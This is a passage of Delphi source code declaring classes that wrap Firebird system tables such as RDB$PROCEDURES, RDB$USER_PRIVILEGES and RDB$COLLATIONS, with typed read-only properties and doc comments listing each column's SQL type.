/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$MODULE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property ModuleName: TSqlString read FModuleName;
/// <summary>
/// <para>Field: <b>RDB$ENTRYPOINT</b></para>
/// <para>Type: <b>CHAR(31) CHARACTER SET NONE</b></para>
/// </summary>
property Entrypoint: TSqlString read FEntrypoint;
/// <summary>
/// <para>Field: <b>RDB$RETURN_ARGUMENT</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ReturnArgument: TSqlSmallInt read FReturnArgument;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
end;
TRdbFunctionArgumentsTable = class(TTable)
private
FFunctionName: TSqlString;
FArgumentPosition: TSqlSmallInt;
FMechanism: TSqlSmallInt;
FFieldType: TSqlSmallInt;
FFieldScale: TSqlSmallInt;
FFieldLength: TSqlSmallInt;
FFieldSubType: TSqlSmallInt;
FCharacterSetId: TSqlSmallInt;
FFieldPrecision: TSqlSmallInt;
FCharacterLength: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbFunctionArgumentsTable;
published
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FunctionName: TSqlString read FFunctionName;
/// <summary>
/// <para>Field: <b>RDB$ARGUMENT_POSITION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ArgumentPosition: TSqlSmallInt read FArgumentPosition;
/// <summary>
/// <para>Field: <b>RDB$MECHANISM</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Mechanism: TSqlSmallInt read FMechanism;
/// <summary>
/// <para>Field: <b>RDB$FIELD_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldType: TSqlSmallInt read FFieldType;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SCALE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldScale: TSqlSmallInt read FFieldScale;
/// <summary>
/// <para>Field: <b>RDB$FIELD_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldLength: TSqlSmallInt read FFieldLength;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SUB_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldSubType: TSqlSmallInt read FFieldSubType;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterSetId: TSqlSmallInt read FCharacterSetId;
/// <summary>
/// <para>Field: <b>RDB$FIELD_PRECISION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FieldPrecision: TSqlSmallInt read FFieldPrecision;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_LENGTH</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterLength: TSqlSmallInt read FCharacterLength;
end;
TRdbFiltersTable = class(TTable)
private
FFunctionName: TSqlString;
FDescription: TSqlMemo;
FModuleName: TSqlString;
FEntrypoint: TSqlString;
FInputSubType: TSqlSmallInt;
FOutputSubType: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbFiltersTable;
published
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FunctionName: TSqlString read FFunctionName;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$MODULE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property ModuleName: TSqlString read FModuleName;
/// <summary>
/// <para>Field: <b>RDB$ENTRYPOINT</b></para>
/// <para>Type: <b>CHAR(31) CHARACTER SET NONE</b></para>
/// </summary>
property Entrypoint: TSqlString read FEntrypoint;
/// <summary>
/// <para>Field: <b>RDB$INPUT_SUB_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property InputSubType: TSqlSmallInt read FInputSubType;
/// <summary>
/// <para>Field: <b>RDB$OUTPUT_SUB_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property OutputSubType: TSqlSmallInt read FOutputSubType;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
end;
TRdbTriggerMessagesTable = class(TTable)
private
FTriggerName: TSqlString;
FMessageNumber: TSqlSmallInt;
FMessage: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbTriggerMessagesTable;
published
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property TriggerName: TSqlString read FTriggerName;
/// <summary>
/// <para>Field: <b>RDB$MESSAGE_NUMBER</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property MessageNumber: TSqlSmallInt read FMessageNumber;
/// <summary>
/// <para>Field: <b>RDB$MESSAGE</b></para>
/// <para>Type: <b>VARCHAR(1023) CHARACTER SET NONE</b></para>
/// </summary>
property Message: TSqlString read FMessage;
end;
TRdbUserPrivilegesTable = class(TTable)
private
FUser: TSqlString;
FGrantor: TSqlString;
FPrivilege: TSqlString;
FGrantOption: TSqlSmallInt;
FRelationName: TSqlString;
FFieldName: TSqlString;
FUserType: TSqlSmallInt;
FObjectType: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbUserPrivilegesTable;
published
/// <summary>
/// <para>Field: <b>RDB$USER</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property User: TSqlString read FUser;
/// <summary>
/// <para>Field: <b>RDB$GRANTOR</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Grantor: TSqlString read FGrantor;
/// <summary>
/// <para>Field: <b>RDB$PRIVILEGE</b></para>
/// <para>Type: <b>CHAR(6) CHARACTER SET NONE</b></para>
/// </summary>
property Privilege: TSqlString read FPrivilege;
/// <summary>
/// <para>Field: <b>RDB$GRANT_OPTION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property GrantOption: TSqlSmallInt read FGrantOption;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$USER_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property UserType: TSqlSmallInt read FUserType;
/// <summary>
/// <para>Field: <b>RDB$OBJECT_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ObjectType: TSqlSmallInt read FObjectType;
end;
TRdbTransactionsTable = class(TTable)
private
FTransactionId: TSqlInteger;
FTransactionState: TSqlSmallInt;
FTimestamp: TSqlDateTime;
FTransactionDescription: TSqlBlob;
public
constructor Create; override;
function GetUnique: TRdbTransactionsTable;
published
/// <summary>
/// <para>Field: <b>RDB$TRANSACTION_ID</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property TransactionId: TSqlInteger read FTransactionId;
/// <summary>
/// <para>Field: <b>RDB$TRANSACTION_STATE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property TransactionState: TSqlSmallInt read FTransactionState;
/// <summary>
/// <para>Field: <b>RDB$TIMESTAMP</b></para>
/// <para>Type: <b>TIMESTAMP</b></para>
/// </summary>
property Timestamp: TSqlDateTime read FTimestamp;
/// <summary>
/// <para>Field: <b>RDB$TRANSACTION_DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 7 SEGMENT SIZE 80</b></para>
/// </summary>
property TransactionDescription: TSqlBlob read FTransactionDescription;
end;
TRdbGeneratorsTable = class(TTable)
private
FGeneratorName: TSqlString;
FGeneratorId: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
FDescription: TSqlMemo;
public
constructor Create; override;
function GetUnique: TRdbGeneratorsTable;
published
/// <summary>
/// <para>Field: <b>RDB$GENERATOR_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property GeneratorName: TSqlString read FGeneratorName;
/// <summary>
/// <para>Field: <b>RDB$GENERATOR_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property GeneratorId: TSqlSmallInt read FGeneratorId;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
end;
TRdbFieldDimensionsTable = class(TTable)
private
FFieldName: TSqlString;
FDimension: TSqlSmallInt;
FLowerBound: TSqlInteger;
FUpperBound: TSqlInteger;
public
constructor Create; override;
function GetUnique: TRdbFieldDimensionsTable;
published
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$DIMENSION</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property Dimension: TSqlSmallInt read FDimension;
/// <summary>
/// <para>Field: <b>RDB$LOWER_BOUND</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property LowerBound: TSqlInteger read FLowerBound;
/// <summary>
/// <para>Field: <b>RDB$UPPER_BOUND</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property UpperBound: TSqlInteger read FUpperBound;
end;
TRdbRelationConstraintsTable = class(TTable)
private
FConstraintName: TSqlString;
FConstraintType: TSqlString;
FRelationName: TSqlString;
FDeferrable: TSqlString;
FInitiallyDeferred: TSqlString;
FIndexName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbRelationConstraintsTable;
published
/// <summary>
/// <para>Field: <b>RDB$CONSTRAINT_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ConstraintName: TSqlString read FConstraintName;
/// <summary>
/// <para>Field: <b>RDB$CONSTRAINT_TYPE</b></para>
/// <para>Type: <b>CHAR(11) CHARACTER SET NONE</b></para>
/// </summary>
property ConstraintType: TSqlString read FConstraintType;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
/// <summary>
/// <para>Field: <b>RDB$DEFERRABLE</b></para>
/// <para>Type: <b>CHAR(3) CHARACTER SET NONE</b></para>
/// </summary>
property Deferrable: TSqlString read FDeferrable;
/// <summary>
/// <para>Field: <b>RDB$INITIALLY_DEFERRED</b></para>
/// <para>Type: <b>CHAR(3) CHARACTER SET NONE</b></para>
/// </summary>
property InitiallyDeferred: TSqlString read FInitiallyDeferred;
/// <summary>
/// <para>Field: <b>RDB$INDEX_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property IndexName: TSqlString read FIndexName;
end;
TRdbRefConstraintsTable = class(TTable)
private
FConstraintName: TSqlString;
FConstNameUq: TSqlString;
FMatchOption: TSqlString;
FUpdateRule: TSqlString;
FDeleteRule: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbRefConstraintsTable;
published
/// <summary>
/// <para>Field: <b>RDB$CONSTRAINT_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ConstraintName: TSqlString read FConstraintName;
/// <summary>
/// <para>Field: <b>RDB$CONST_NAME_UQ</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ConstNameUq: TSqlString read FConstNameUq;
/// <summary>
/// <para>Field: <b>RDB$MATCH_OPTION</b></para>
/// <para>Type: <b>CHAR(7) CHARACTER SET NONE</b></para>
/// </summary>
property MatchOption: TSqlString read FMatchOption;
/// <summary>
/// <para>Field: <b>RDB$UPDATE_RULE</b></para>
/// <para>Type: <b>CHAR(11) CHARACTER SET NONE</b></para>
/// </summary>
property UpdateRule: TSqlString read FUpdateRule;
/// <summary>
/// <para>Field: <b>RDB$DELETE_RULE</b></para>
/// <para>Type: <b>CHAR(11) CHARACTER SET NONE</b></para>
/// </summary>
property DeleteRule: TSqlString read FDeleteRule;
end;
TRdbCheckConstraintsTable = class(TTable)
private
FConstraintName: TSqlString;
FTriggerName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbCheckConstraintsTable;
published
/// <summary>
/// <para>Field: <b>RDB$CONSTRAINT_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ConstraintName: TSqlString read FConstraintName;
/// <summary>
/// <para>Field: <b>RDB$TRIGGER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property TriggerName: TSqlString read FTriggerName;
end;
TRdbLogFilesTable = class(TTable)
private
FFileName: TSqlString;
FFileSequence: TSqlSmallInt;
FFileLength: TSqlInteger;
FFilePartitions: TSqlSmallInt;
FFilePOffset: TSqlInteger;
FFileFlags: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbLogFilesTable;
published
/// <summary>
/// <para>Field: <b>RDB$FILE_NAME</b></para>
/// <para>Type: <b>VARCHAR(255) CHARACTER SET NONE</b></para>
/// </summary>
property FileName: TSqlString read FFileName;
/// <summary>
/// <para>Field: <b>RDB$FILE_SEQUENCE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FileSequence: TSqlSmallInt read FFileSequence;
/// <summary>
/// <para>Field: <b>RDB$FILE_LENGTH</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property FileLength: TSqlInteger read FFileLength;
/// <summary>
/// <para>Field: <b>RDB$FILE_PARTITIONS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FilePartitions: TSqlSmallInt read FFilePartitions;
/// <summary>
/// <para>Field: <b>RDB$FILE_P_OFFSET</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property FilePOffset: TSqlInteger read FFilePOffset;
/// <summary>
/// <para>Field: <b>RDB$FILE_FLAGS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property FileFlags: TSqlSmallInt read FFileFlags;
end;
TRdbProceduresTable = class(TTable)
private
FProcedureName: TSqlString;
FProcedureId: TSqlSmallInt;
FProcedureInputs: TSqlSmallInt;
FProcedureOutputs: TSqlSmallInt;
FDescription: TSqlMemo;
FProcedureSource: TSqlMemo;
FProcedureBlr: TSqlBlob;
FSecurityClass: TSqlString;
FOwnerName: TSqlString;
FRuntime: TSqlBlob;
FSystemFlag: TSqlSmallInt;
FProcedureType: TSqlSmallInt;
FValidBlr: TSqlSmallInt;
FDebugInfo: TSqlBlob;
public
constructor Create; override;
function GetUnique: TRdbProceduresTable;
published
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ProcedureName: TSqlString read FProcedureName;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ProcedureId: TSqlSmallInt read FProcedureId;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_INPUTS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ProcedureInputs: TSqlSmallInt read FProcedureInputs;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_OUTPUTS</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ProcedureOutputs: TSqlSmallInt read FProcedureOutputs;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ProcedureSource: TSqlMemo read FProcedureSource;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_BLR</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property ProcedureBlr: TSqlBlob read FProcedureBlr;
/// <summary>
/// <para>Field: <b>RDB$SECURITY_CLASS</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SecurityClass: TSqlString read FSecurityClass;
/// <summary>
/// <para>Field: <b>RDB$OWNER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property OwnerName: TSqlString read FOwnerName;
/// <summary>
/// <para>Field: <b>RDB$RUNTIME</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 5 SEGMENT SIZE 80</b></para>
/// </summary>
property Runtime: TSqlBlob read FRuntime;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ProcedureType: TSqlSmallInt read FProcedureType;
/// <summary>
/// <para>Field: <b>RDB$VALID_BLR</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ValidBlr: TSqlSmallInt read FValidBlr;
/// <summary>
/// <para>Field: <b>RDB$DEBUG_INFO</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 9 SEGMENT SIZE 80</b></para>
/// </summary>
property DebugInfo: TSqlBlob read FDebugInfo;
end;
TRdbProcedureParametersTable = class(TTable)
private
FParameterName: TSqlString;
FProcedureName: TSqlString;
FParameterNumber: TSqlSmallInt;
FParameterType: TSqlSmallInt;
FFieldSource: TSqlString;
FDescription: TSqlMemo;
FSystemFlag: TSqlSmallInt;
FDefaultValue: TSqlBlob;
FDefaultSource: TSqlMemo;
FCollationId: TSqlSmallInt;
FNullFlag: TSqlSmallInt;
FParameterMechanism: TSqlSmallInt;
FFieldName: TSqlString;
FRelationName: TSqlString;
public
constructor Create; override;
function GetUnique: TRdbProcedureParametersTable;
published
/// <summary>
/// <para>Field: <b>RDB$PARAMETER_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ParameterName: TSqlString read FParameterName;
/// <summary>
/// <para>Field: <b>RDB$PROCEDURE_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ProcedureName: TSqlString read FProcedureName;
/// <summary>
/// <para>Field: <b>RDB$PARAMETER_NUMBER</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ParameterNumber: TSqlSmallInt read FParameterNumber;
/// <summary>
/// <para>Field: <b>RDB$PARAMETER_TYPE</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ParameterType: TSqlSmallInt read FParameterType;
/// <summary>
/// <para>Field: <b>RDB$FIELD_SOURCE</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldSource: TSqlString read FFieldSource;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_VALUE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 2 SEGMENT SIZE 80</b></para>
/// </summary>
property DefaultValue: TSqlBlob read FDefaultValue;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_SOURCE</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DefaultSource: TSqlMemo read FDefaultSource;
/// <summary>
/// <para>Field: <b>RDB$COLLATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CollationId: TSqlSmallInt read FCollationId;
/// <summary>
/// <para>Field: <b>RDB$NULL_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property NullFlag: TSqlSmallInt read FNullFlag;
/// <summary>
/// <para>Field: <b>RDB$PARAMETER_MECHANISM</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property ParameterMechanism: TSqlSmallInt read FParameterMechanism;
/// <summary>
/// <para>Field: <b>RDB$FIELD_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FieldName: TSqlString read FFieldName;
/// <summary>
/// <para>Field: <b>RDB$RELATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property RelationName: TSqlString read FRelationName;
end;
TRdbCharacterSetsTable = class(TTable)
private
FCharacterSetName: TSqlString;
FFormOfUse: TSqlString;
FNumberOfCharacters: TSqlInteger;
FDefaultCollateName: TSqlString;
FCharacterSetId: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
FDescription: TSqlMemo;
FFunctionName: TSqlString;
FBytesPerCharacter: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbCharacterSetsTable;
published
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property CharacterSetName: TSqlString read FCharacterSetName;
/// <summary>
/// <para>Field: <b>RDB$FORM_OF_USE</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FormOfUse: TSqlString read FFormOfUse;
/// <summary>
/// <para>Field: <b>RDB$NUMBER_OF_CHARACTERS</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property NumberOfCharacters: TSqlInteger read FNumberOfCharacters;
/// <summary>
/// <para>Field: <b>RDB$DEFAULT_COLLATE_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property DefaultCollateName: TSqlString read FDefaultCollateName;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterSetId: TSqlSmallInt read FCharacterSetId;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FunctionName: TSqlString read FFunctionName;
/// <summary>
/// <para>Field: <b>RDB$BYTES_PER_CHARACTER</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property BytesPerCharacter: TSqlSmallInt read FBytesPerCharacter;
end;
TRdbCollationsTable = class(TTable)
private
FCollationName: TSqlString;
FCollationId: TSqlSmallInt;
FCharacterSetId: TSqlSmallInt;
FCollationAttributes: TSqlSmallInt;
FSystemFlag: TSqlSmallInt;
FDescription: TSqlMemo;
FFunctionName: TSqlString;
FBaseCollationName: TSqlString;
FSpecificAttributes: TSqlMemo;
public
constructor Create; override;
function GetUnique: TRdbCollationsTable;
published
/// <summary>
/// <para>Field: <b>RDB$COLLATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property CollationName: TSqlString read FCollationName;
/// <summary>
/// <para>Field: <b>RDB$COLLATION_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CollationId: TSqlSmallInt read FCollationId;
/// <summary>
/// <para>Field: <b>RDB$CHARACTER_SET_ID</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CharacterSetId: TSqlSmallInt read FCharacterSetId;
/// <summary>
/// <para>Field: <b>RDB$COLLATION_ATTRIBUTES</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property CollationAttributes: TSqlSmallInt read FCollationAttributes;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$FUNCTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property FunctionName: TSqlString read FFunctionName;
/// <summary>
/// <para>Field: <b>RDB$BASE_COLLATION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property BaseCollationName: TSqlString read FBaseCollationName;
/// <summary>
/// <para>Field: <b>RDB$SPECIFIC_ATTRIBUTES</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property SpecificAttributes: TSqlMemo read FSpecificAttributes;
end;
TRdbExceptionsTable = class(TTable)
private
FExceptionName: TSqlString;
FExceptionNumber: TSqlInteger;
FMessage: TSqlString;
FDescription: TSqlMemo;
FSystemFlag: TSqlSmallInt;
public
constructor Create; override;
function GetUnique: TRdbExceptionsTable;
published
/// <summary>
/// <para>Field: <b>RDB$EXCEPTION_NAME</b></para>
/// <para>Type: <b>CHAR(31) SUB_TYPE 3 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property ExceptionName: TSqlString read FExceptionName;
/// <summary>
/// <para>Field: <b>RDB$EXCEPTION_NUMBER</b></para>
/// <para>Type: <b>INTEGER</b></para>
/// </summary>
property ExceptionNumber: TSqlInteger read FExceptionNumber;
/// <summary>
/// <para>Field: <b>RDB$MESSAGE</b></para>
/// <para>Type: <b>VARCHAR(1023) CHARACTER SET NONE</b></para>
/// </summary>
property Message: TSqlString read FMessage;
/// <summary>
/// <para>Field: <b>RDB$DESCRIPTION</b></para>
/// <para>Type: <b>BLOB SUB_TYPE 1 SEGMENT SIZE 80 CHARACTER SET UNICODE_FSS</b></para>
/// </summary>
property Description: TSqlMemo read FDescription;
/// <summary>
/// <para>Field: <b>RDB$SYSTEM_FLAG</b></para>
/// <para>Type: <b>SMALLINT</b></para>
/// </summary>
property SystemFlag: TSqlSmallInt read FSystemFlag;
end;
TRdbRolesTable = class(TTable)
private
FRoleName: TSqlString;
FOwnerName: TSqlString;
FDescription: TSqlMemo;
FSystemFlag: TSqlSmallInt;
public
constructor Create; override;
